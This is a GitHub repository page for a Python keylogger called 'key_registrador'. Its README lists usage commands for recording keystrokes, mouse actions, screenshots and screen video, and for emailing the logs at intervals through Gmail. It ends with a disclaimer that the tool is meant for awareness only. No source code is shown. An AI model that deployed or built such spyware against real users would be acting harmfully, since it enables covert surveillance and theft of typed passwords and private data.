Skip to content

srinivas946/key_registrador

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

key_registrador

Its a Tool to store Key Strokes, Mouse Moves, Mouse Clicks, Screen shots, Screen Recorders when the user try to do respective actions

Setup

Required packages for using this tool

  1. pynput    --> Used to Record Keyboard and Mouse Events
  2. smtplib   --> Used to Send Mail
  3. opencv   --> Used for Screen Recorder
  4. Pillow     --> Used to take Screen Shots
  5. email      --> Used to Attach files to Mail (MIMEMultipart)
  6. datetime   --> Used to get date and time
  7. os          --> Used to manipulate opertaing systems
  8. sys        --> Used to manipulate System commands

List of Commands

--Keylisten (or) -K                  -->      Initiate the Keyboard Listener(Store Key logs)
--mouselisten (or) -M           -->      Initiate the Mouse Listener(Strore Mouse Actions)
--keymouserlisten (or) -L      -->      Initiate both Keyboard and Mouse Listener
--recordscreen (or) -r            -->      Initiate Screen Recorder
--keymousescrnrec (or) -R    -->      Initiate Keyboard, Mouse, Screen Recorder
--capture (or) -c                    -->      Screen Capture (set to True or False)
--capturetime (or) -t              -->      Set the Screen Recorder time (in secs)
--email (or) -e                        -->      Enter Users Gmail ID
--password (or) -p                 -->      Enter Gmail Password
--fps (or) -F                            -->       Frames Per Second
--mailduration (or) -D            -->       Duration of Mail send to the User
--stop (or) -S                          -->       Stops the Program Execution based on given time (in secs)

How to use

1) keylogger

  • python  main.py  --keylisten  --email  xxxxxxxx  --password  xxxxxx  --mailduration  xxx   --stop  xxx
  • python  main.py  -K  -e  xxxxxxx  -p  xxxxxx  -D  xxx  -S  xxx

2) Mouselogger

  • python  main.py  --mouselisten  --email  xxxxx  --password  xxxx  --mailduraiton  xxx  --stop  xxx
  • python  main.py  -M  -e  xxxxxxx  -p  xxxxx  -D  xxxx  -S  xxxx

3) KeymouseLogger

  • python  main.py  --keymouselisten  --email  xxxxxxxxx  --password  xxxxxxxx  --mailduration  xxx  --stop  xxx
  • python  main.py  -L  -e  xxxxxxxxxx  -p  xxxxxxxx  -D  xxxx  -S  xxxxx

4) KeymouseLogger with Screen shots

  • python  main.py  --keymouserlisten  --email  xxxxxxxx  --password  xxxxxxx  --mailduration  xxxx  --capture  --stop  xxxxx
  • python  main.py  -L  -e  xxxxxxx  -p  xxxxxxx  -D xxxx  -c  -S  xxxx

5) Screen Recorder

  • python  main.py  --recordscreen  --email  xxxxxxxx  --password  xxxxxxxxx  --capturetime  xxxx  --fps  xxxxx
  • python  main.py  -r  -e  xxxxxxxxx  -p  xxxxxxx  -t  xxxx  -F  xxxx

6) KeymouseLogger with Screen Recorder

  • python  main.py  --keymousescrnrec  --email  xxxxxx  --password  xxxxxxx  --mailduration  xxxxxx  --capturetime  xxxx  --fps  xxxx  --stop  xxxxxx 
  • python  main.py  -R  -e  xxxxxxx  -p  xxxxxx  -D  xxxxx  -t  xxxxx  -F  xxxx  -S  xxxx

7) KeymouseLogger with Screen Recorder and Screen Shots

  • python  main.py  --keymousescrnrec  --email  xxxxxxxxxx  --password  xxxxxxx  --mailduration  xxxx  --capturetime  xxxx  --fps  xxxxx  --capture  --stop  xxxx
  • python  main.py  -R  -e  xxxxxxx  -p  xxxxx  -D  xxxxxxx  -t  xxxxxx  -F  xxxx  -c  -S  xxxxx

Note:

  • Using this tool you can get the logs from keyboard, mouse and also take screen shots, Screen Recorder and send the details to the mail provided by the user at run time
  • Screen Shots are captured based on the keywords, external KeywordFile.txt is provided to add the keywords
  • Use less value for FPS (Frames Per Second) in screen recording. If you provided more fps, it will consume more memory and delay in sending mail to user (consume more memory and internet)
  • Set a frequent mail time, for example if you set mailduration as 10 secs for every 10 secs user will get the mail with respective details

Kind Request:

This tool is desined only for gaining knowledge/awareness on how keyloggers work in real time. So its my kind request, do not use it for illegal purposes

About

Its a Tool to store Key Strokes, Mouse Moves, Mouse Clicks, Screen shots, Screen Recorders

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages